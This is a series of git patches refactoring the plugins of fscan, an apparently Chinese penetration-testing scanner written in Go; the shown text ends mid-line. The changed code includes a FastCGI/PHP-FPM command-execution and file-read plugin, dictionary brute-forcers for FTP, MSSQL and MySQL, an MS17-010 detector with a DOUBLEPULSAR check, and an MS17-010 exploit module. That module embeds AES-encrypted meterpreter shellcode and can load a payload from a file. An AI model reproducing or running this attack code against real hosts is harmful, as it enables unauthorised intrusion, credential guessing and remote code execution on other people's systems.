fcgiscan.go --- Plugins/fcgiscan.go | 39 ++++++++++++++++++++++----------------- 1 file changed, 22 insertions(+), 17 deletions(-) diff --git a/Plugins/fcgiscan.go b/Plugins/fcgiscan.go index 1dba1e8..39e0ae4 100644 --- a/Plugins/fcgiscan.go +++ b/Plugins/fcgiscan.go @@ -6,35 +6,34 @@ import ( "encoding/binary" "errors" "fmt" + "github.com/shadow1ng/fscan/common" "io" "strconv" "strings" "sync" "time" - - "github.com/shadow1ng/fscan/common" ) //links //https://xz.aliyun.com/t/9544 //https://github.com/wofeiwo/webcgi-exploits -func FcgiScan(info common.HostInfo, flags common.Flags) { - if flags.IsBrute { +func FcgiScan(info *common.HostInfo) { + if common.IsBrute { return } url := "/etc/issue" - if flags.Path != "" { - url = flags.Path + if common.Path != "" { + url = common.Path } addr := fmt.Sprintf("%v:%v", info.Host, info.Ports) var reqParams string var cutLine = "-----ASDGTasdkk361363s-----\n" switch { - case flags.Command == "read": + case common.Command == "read": reqParams = "" - case flags.Command != "": - reqParams = "" + case common.Command != "": + reqParams = "" default: reqParams = "" } @@ -55,7 +54,7 @@ func FcgiScan(info common.HostInfo, flags common.Flags) { env["REQUEST_METHOD"] = "GET" } - fcgi, err := New(addr, flags) + fcgi, err := New(addr, common.Timeout) defer func() { if fcgi.rwc != nil { fcgi.rwc.Close() @@ -94,12 +93,12 @@ func FcgiScan(info common.HostInfo, flags common.Flags) { //Access to the script '/etc/passwd' has been denied (see security.limit_extensions) var result string var output = string(stdout) - if strings.Contains(output, cutLine) { // 命令成功回显 - out := strings.SplitN(output, cutLine, 2)[0] + if strings.Contains(output, cutLine) { //命令成功回显 + output = strings.SplitN(output, cutLine, 2)[0] if len(stderr) > 0 { - result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, out, string(stderr)) + result = fmt.Sprintf("[+] FCGI: %v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr)) } else { - result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, out) + result = fmt.Sprintf("[+] FCGI: %v:%v \n%v", info.Host, info.Ports, output) } common.LogSuccess(result) } else if strings.Contains(output, "File not found") || strings.Contains(output, "Content-type") || strings.Contains(output, "Status") { @@ -183,8 +182,8 @@ type FCGIClient struct { keepAlive bool } -func New(addr string, flags common.Flags) (fcgi *FCGIClient, err error) { - conn, err := common.WrapperTcpWithTimeout("tcp", addr, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second) +func New(addr string, timeout int64) (fcgi *FCGIClient, err error) { + conn, err := common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second) fcgi = &FCGIClient{ rwc: conn, keepAlive: false, @@ -215,6 +214,13 @@ func (c *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) e return c.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:]) } +func (c *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error { + b := make([]byte, 8) + binary.BigEndian.PutUint32(b, uint32(appStatus)) + b[4] = protocolStatus + return c.writeRecord(FCGI_END_REQUEST, reqId, b) +} + func (c *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error { w := newWriter(c, recType, reqId) b := make([]byte, 8) @@ -341,6 +347,5 @@ OUTER: break OUTER } } - return } From 1773fcbfcc336b1cc595bbbc844821b87cd4023a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 10:41:46 +0800 Subject: [PATCH 09/46] Update findnet.go --- Plugins/findnet.go | 56 ++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 49 insertions(+), 7 deletions(-) diff --git a/Plugins/findnet.go b/Plugins/findnet.go index 25a4a44..2d8d0c5 100644 --- a/Plugins/findnet.go +++ b/Plugins/findnet.go @@ -4,10 +4,10 @@ import ( "bytes" "encoding/hex" "fmt" + "github.com/shadow1ng/fscan/common" + "strconv" "strings" "time" - - "github.com/shadow1ng/fscan/common" ) var ( @@ -16,14 +16,14 @@ var ( bufferV3, _ = hex.DecodeString("0900ffff0000") ) -func Findnet(info common.HostInfo, flags common.Flags) error { - err := FindnetScan(info, flags) +func Findnet(info *common.HostInfo) error { + err := FindnetScan(info) return err } -func FindnetScan(info common.HostInfo, flags common.Flags) error { +func FindnetScan(info *common.HostInfo) error { realhost := fmt.Sprintf("%s:%v", info.Host, 135) - conn, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second) + conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) defer func() { if conn != nil { conn.Close() @@ -32,7 +32,7 @@ func FindnetScan(info common.HostInfo, flags common.Flags) error { if err != nil { return err } - err = conn.SetDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second)) + err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) if err != nil { return err } @@ -67,11 +67,53 @@ func FindnetScan(info common.HostInfo, flags common.Flags) error { err = read(text, info.Host) return err } + +func HexUnicodeStringToString(src string) string { + sText := "" + if len(src)%4 != 0 { + src += src[:len(src)-len(src)%4] + } + for i := 0; i < len(src); i = i + 4 { + sText += "\\u" + src[i+2:i+4] + src[i:i+2] + } + + textUnquoted := sText + sUnicodev := strings.Split(textUnquoted, "\\u") + var context string + for _, v := range sUnicodev { + if len(v) < 1 { + continue + } + temp, err := strconv.ParseInt(v, 16, 32) + if err != nil { + return "" + } + context += fmt.Sprintf("%c", temp) + } + return context +} + func read(text []byte, host string) error { encodedStr := hex.EncodeToString(text) + + hn := "" + for i := 0; i < len(encodedStr)-4; i = i + 4 { + if encodedStr[i:i+4] == "0000" { + break + } + hn += encodedStr[i : i+4] + } + + var name string + name = HexUnicodeStringToString(hn) + hostnames := strings.Replace(encodedStr, "0700", "", -1) hostname := strings.Split(hostnames, "000000") result := "[*] NetInfo:\n[*]" + host + if name != "" { + result += "\n [->]" + name + } + hostname = hostname[1:] for i := 0; i < len(hostname); i++ { hostname[i] = strings.Replace(hostname[i], "00", "", -1) host, err := hex.DecodeString(hostname[i]) From dc0dd7a46976590548d1ec403d3f7419f05d06c2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 10:43:11 +0800 Subject: [PATCH 10/46] Update ftp.go --- Plugins/ftp.go | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) diff --git a/Plugins/ftp.go b/Plugins/ftp.go index 429574f..201de83 100644 --- a/Plugins/ftp.go +++ b/Plugins/ftp.go @@ -2,19 +2,18 @@ package Plugins import ( "fmt" - "strings" - "time" - "github.com/jlaffaye/ftp" "github.com/shadow1ng/fscan/common" + "strings" + "time" ) -func FtpScan(info common.HostInfo, flags common.Flags) (tmperr error) { - if flags.IsBrute { +func FtpScan(info *common.HostInfo) (tmperr error) { + if common.IsBrute { return } starttime := time.Now().Unix() - flag, err := FtpConn(info, "anonymous", "", flags.Timeout) + flag, err := FtpConn(info, "anonymous", "") if flag && err == nil { return err } else { @@ -29,7 +28,7 @@ func FtpScan(info common.HostInfo, flags common.Flags) (tmperr error) { for _, user := range common.Userdict["ftp"] { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - flag, err := FtpConn(info, user, pass, flags.Timeout) + flag, err := FtpConn(info, user, pass) if flag && err == nil { return err } else { @@ -39,7 +38,7 @@ func FtpScan(info common.HostInfo, flags common.Flags) (tmperr error) { if common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * flags.Timeout) { + if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * common.Timeout) { return err } } @@ -48,10 +47,10 @@ func FtpScan(info common.HostInfo, flags common.Flags) (tmperr error) { return tmperr } -func FtpConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) { +func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass - conn, err := ftp.Dial(fmt.Sprintf("%v:%v", Host, Port), ftp.DialWithTimeout(time.Duration(timeout)*time.Second)) + conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(common.Timeout)*time.Second) if err == nil { err = conn.Login(Username, Password) if err == nil { From 9d02632dccfa767bc98f6dd7635e77bb199a86b0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 10:45:48 +0800 Subject: [PATCH 11/46] Update icmp.go --- Plugins/icmp.go | 32 +++++++++++++++----------------- 1 file changed, 15 insertions(+), 17 deletions(-) diff --git a/Plugins/icmp.go b/Plugins/icmp.go index d2d194d..d29c83b 100644 --- a/Plugins/icmp.go +++ b/Plugins/icmp.go @@ -3,16 +3,14 @@ package Plugins import ( "bytes" "fmt" + "github.com/shadow1ng/fscan/common" + "golang.org/x/net/icmp" "net" "os/exec" "runtime" "strings" "sync" "time" - - "github.com/fatih/color" - "github.com/shadow1ng/fscan/common" - "golang.org/x/net/icmp" ) var ( @@ -22,17 +20,17 @@ var ( livewg sync.WaitGroup ) -func CheckLive(hostslist []string, ping bool, liveTop int) []string { +func CheckLive(hostslist []string, Ping bool) []string { chanHosts := make(chan string, len(hostslist)) go func() { for ip := range chanHosts { if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) { ExistHosts[ip] = struct{}{} - if !common.Silent { - if !ping { - color.Green("(icmp) Target %-15s is alive\n", ip) + if common.Silent == false { + if Ping == false { + fmt.Printf("(icmp) Target %-15s is alive\n", ip) } else { - color.Green("(ping) Target %-15s is alive\n", ip) + fmt.Printf("(ping) Target %-15s is alive\n", ip) } } AliveHosts = append(AliveHosts, ip) @@ -41,17 +39,17 @@ func CheckLive(hostslist []string, ping bool, liveTop int) []string { } }() - if ping { - // use ping detection + if Ping == true { + //使用ping探测 RunPing(hostslist, chanHosts) } else { - // try to listen to local icmp first, batch detection + //优先尝试监听本地icmp,批量探测 conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0") if err == nil { RunIcmp1(hostslist, conn, chanHosts) } else { common.LogError(err) - // Try no listening icmp probe + //尝试无监听icmp探测 fmt.Println("trying RunIcmp2") conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second) defer func() { @@ -63,7 +61,7 @@ func CheckLive(hostslist []string, ping bool, liveTop int) []string { RunIcmp2(hostslist, chanHosts) } else { common.LogError(err) - // use ping detection + //使用ping探测 fmt.Println("The current user permissions unable to send icmp packets") fmt.Println("start ping") RunPing(hostslist, chanHosts) @@ -75,14 +73,14 @@ func CheckLive(hostslist []string, ping bool, liveTop int) []string { close(chanHosts) if len(hostslist) > 1000 { - arrTop, arrLen := ArrayCountValueTop(AliveHosts, liveTop, true) + arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, true) for i := 0; i < len(arrTop); i++ { output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0.0/16", arrLen[i]) common.LogSuccess(output) } } if len(hostslist) > 256 { - arrTop, arrLen := ArrayCountValueTop(AliveHosts, liveTop, false) + arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, false) for i := 0; i < len(arrTop); i++ { output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0/24", arrLen[i]) common.LogSuccess(output) @@ -96,7 +94,7 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) endflag := false go func() { for { - if endflag { + if endflag == true { return } msg := make([]byte, 100) From 88745f55a74a6b41c8697af0facc2421b6b90e42 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 10:47:36 +0800 Subject: [PATCH 12/46] Update memcached.go --- Plugins/memcached.go | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/Plugins/memcached.go b/Plugins/memcached.go index e9a8e30..361edc1 100644 --- a/Plugins/memcached.go +++ b/Plugins/memcached.go @@ -2,22 +2,21 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/common" "strings" "time" - - "github.com/shadow1ng/fscan/common" ) -func MemcachedScan(info common.HostInfo, flags common.Flags) (err error) { +func MemcachedScan(info *common.HostInfo) (err error) { realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) - client, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second) + client, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) defer func() { if client != nil { client.Close() } }() if err == nil { - err = client.SetDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second)) + err = client.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) if err == nil { _, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten if err == nil { From 0efbd879200f66ec1fc2cb5f2c5f991e8757fee4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 10:48:18 +0800 Subject: [PATCH 13/46] Update mongodb.go --- Plugins/mongodb.go | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/Plugins/mongodb.go b/Plugins/mongodb.go index 6ee891f..cc81424 100644 --- a/Plugins/mongodb.go +++ b/Plugins/mongodb.go @@ -2,17 +2,16 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/common" "strings" "time" - - "github.com/shadow1ng/fscan/common" ) -func MongodbScan(info common.HostInfo, flags common.Flags) error { - if flags.IsBrute { +func MongodbScan(info *common.HostInfo) error { + if common.IsBrute { return nil } - _, err := MongodbUnauth(info, flags) + _, err := MongodbUnauth(info) if err != nil { errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err) common.LogError(errlog) @@ -20,7 +19,7 @@ func MongodbScan(info common.HostInfo, flags common.Flags) error { return err } -func MongodbUnauth(info common.HostInfo, flags common.Flags) (flag bool, err error) { +func MongodbUnauth(info *common.HostInfo) (flag bool, err error) { flag = false // op_msg packet1 := []byte{ @@ -49,7 +48,7 @@ func MongodbUnauth(info common.HostInfo, flags common.Flags) (flag bool, err err realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) checkUnAuth := func(address string, packet []byte) (string, error) { - conn, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second) + conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) if err != nil { return "", err } @@ -58,7 +57,7 @@ func MongodbUnauth(info common.HostInfo, flags common.Flags) (flag bool, err err conn.Close() } }() - err = conn.SetReadDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second)) + err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) if err != nil { return "", err } From d5afffafa22f73a43e51687016b97397135448d5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 10:50:28 +0800 Subject: [PATCH 14/46] Update ms17010-exp.go --- Plugins/ms17010-exp.go | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) diff --git a/Plugins/ms17010-exp.go b/Plugins/ms17010-exp.go index cfa4c90..f761517 100644 --- a/Plugins/ms17010-exp.go +++ b/Plugins/ms17010-exp.go @@ -5,19 +5,18 @@ import ( "encoding/binary" "encoding/hex" "fmt" + "github.com/shadow1ng/fscan/common" "io" + "io/ioutil" "net" - "os" "strings" "time" - - "github.com/shadow1ng/fscan/common" ) -func MS17010EXP(info common.HostInfo, flags common.Flags) { +func MS17010EXP(info *common.HostInfo) { address := info.Host + ":445" var sc string - switch flags.SC { + switch common.SC { case "bind": //msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=64531 -f hex sc_enc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK" @@ -34,16 +33,16 @@ func MS17010EXP(info common.HostInfo, flags common.Flags) { sc_enc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx" sc = AesDecrypt(sc_enc, key) default: - if strings.Contains(flags.SC, "file:") { - read, err := os.ReadFile(flags.SC[5:]) + if strings.Contains(common.SC, "file:") { + read, err := ioutil.ReadFile(common.SC[5:]) if err != nil { - errlog := fmt.Sprintf("[-] ms17010 sc readfile %v error: %v", flags.SC, err) + errlog := fmt.Sprintf("[-] ms17010 sc readfile %v error: %v", common.SC, err) common.LogError(errlog) return } sc = fmt.Sprintf("%x", read) } else { - sc = flags.SC + sc = common.SC } } From 5e99a7910e903d19ea840273c65133ca156418e1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 10:50:59 +0800 Subject: [PATCH 15/46] Update ms17010.go --- Plugins/ms17010.go | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) diff --git a/Plugins/ms17010.go b/Plugins/ms17010.go index f898b94..0bf5bca 100644 --- a/Plugins/ms17010.go +++ b/Plugins/ms17010.go @@ -5,10 +5,9 @@ import ( "encoding/hex" "errors" "fmt" + "github.com/shadow1ng/fscan/common" "strings" "time" - - "github.com/shadow1ng/fscan/common" ) var ( @@ -24,11 +23,11 @@ var ( trans2SessionSetupRequest, _ = hex.DecodeString(AesDecrypt(trans2SessionSetupRequest_enc, key)) ) -func MS17010(info common.HostInfo, flags common.Flags) error { - if flags.IsBrute { +func MS17010(info *common.HostInfo) error { + if common.IsBrute { return nil } - err := MS17010Scan(info, flags) + err := MS17010Scan(info) if err != nil { errlog := fmt.Sprintf("[-] Ms17010 %v %v", info.Host, err) common.LogError(errlog) @@ -36,10 +35,10 @@ func MS17010(info common.HostInfo, flags common.Flags) error { return err } -func MS17010Scan(info common.HostInfo, flags common.Flags) error { +func MS17010Scan(info *common.HostInfo) error { ip := info.Host // connecting to a host in LAN if reachable should be very quick - conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second) + conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second) defer func() { if conn != nil { conn.Close() @@ -49,7 +48,7 @@ func MS17010Scan(info common.HostInfo, flags common.Flags) error { //fmt.Printf("failed to connect to %s\n", ip) return err } - err = conn.SetDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second)) + err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) if err != nil { //fmt.Printf("failed to connect to %s\n", ip) return err @@ -138,8 +137,8 @@ func MS17010Scan(info common.HostInfo, flags common.Flags) error { result := fmt.Sprintf("[+] %s\tMS17-010\t(%s)", ip, os) common.LogSuccess(result) defer func() { - if flags.SC != "" { - MS17010EXP(info, flags) + if common.SC != "" { + MS17010EXP(info) } }() // detect present of DOUBLEPULSAR SMB implant From 54ba490246f9785ae54292832ba8546a0766906a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 10:51:41 +0800 Subject: [PATCH 16/46] Update mssql.go --- Plugins/mssql.go | 23 +++++++++++------------ 1 file changed, 11 insertions(+), 12 deletions(-) diff --git a/Plugins/mssql.go b/Plugins/mssql.go index 45167f6..6f64c67 100644 --- a/Plugins/mssql.go +++ b/Plugins/mssql.go @@ -3,23 +3,22 @@ package Plugins import ( "database/sql" "fmt" - "strings" - "time" - _ "github.com/denisenkom/go-mssqldb" "github.com/shadow1ng/fscan/common" + "strings" + "time" ) -func MssqlScan(info common.HostInfo, flags common.Flags) (tmperr error) { - if flags.IsBrute { +func MssqlScan(info *common.HostInfo) (tmperr error) { + if common.IsBrute { return } starttime := time.Now().Unix() for _, user := range common.Userdict["mssql"] { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - flag, err := MssqlConn(info, user, pass, flags.Timeout) - if flag && err == nil { + flag, err := MssqlConn(info, user, pass) + if flag == true && err == nil { return err } else { errlog := fmt.Sprintf("[-] mssql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) @@ -28,7 +27,7 @@ func MssqlScan(info common.HostInfo, flags common.Flags) (tmperr error) { if common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * flags.Timeout) { + if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * common.Timeout) { return err } } @@ -37,14 +36,14 @@ func MssqlScan(info common.HostInfo, flags common.Flags) (tmperr error) { return tmperr } -func MssqlConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) { +func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass - dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(timeout)*time.Second) + dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(common.Timeout)*time.Second) db, err := sql.Open("mssql", dataSourceName) if err == nil { - db.SetConnMaxLifetime(time.Duration(timeout) * time.Second) - db.SetConnMaxIdleTime(time.Duration(timeout) * time.Second) + db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second) + db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second) db.SetMaxIdleConns(0) defer db.Close() err = db.Ping() From dc945ccf0e9af421eb1d280e9bf8afdea5ef42fa Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 10:52:11 +0800 Subject: [PATCH 17/46] Update mysql.go --- Plugins/mysql.go | 23 +++++++++++------------ 1 file changed, 11 insertions(+), 12 deletions(-) diff --git a/Plugins/mysql.go b/Plugins/mysql.go index b02a4b0..03c6aac 100644 --- a/Plugins/mysql.go +++ b/Plugins/mysql.go @@ -3,23 +3,22 @@ package Plugins import ( "database/sql" "fmt" - "strings" - "time" - _ "github.com/go-sql-driver/mysql" "github.com/shadow1ng/fscan/common" + "strings" + "time" ) -func MysqlScan(info common.HostInfo, flags common.Flags) (tmperr error) { - if flags.IsBrute { +func MysqlScan(info *common.HostInfo) (tmperr error) { + if common.IsBrute { return } starttime := time.Now().Unix() for _, user := range common.Userdict["mysql"] { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - flag, err := MysqlConn(info, user, pass, flags.Timeout) - if flag && err == nil { + flag, err := MysqlConn(info, user, pass) + if flag == true && err == nil { return err } else { errlog := fmt.Sprintf("[-] mysql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) @@ -28,7 +27,7 @@ func MysqlScan(info common.HostInfo, flags common.Flags) (tmperr error) { if common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * flags.Timeout) { + if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * common.Timeout) { return err } } @@ -37,14 +36,14 @@ func MysqlScan(info common.HostInfo, flags common.Flags) (tmperr error) { return tmperr } -func MysqlConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) { +func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass - dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(timeout)*time.Second) + dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(common.Timeout)*time.Second) db, err := sql.Open("mysql", dataSourceName) if err == nil { - db.SetConnMaxLifetime(time.Duration(timeout) * time.Second) - db.SetConnMaxIdleTime(time.Duration(timeout) * time.Second) + 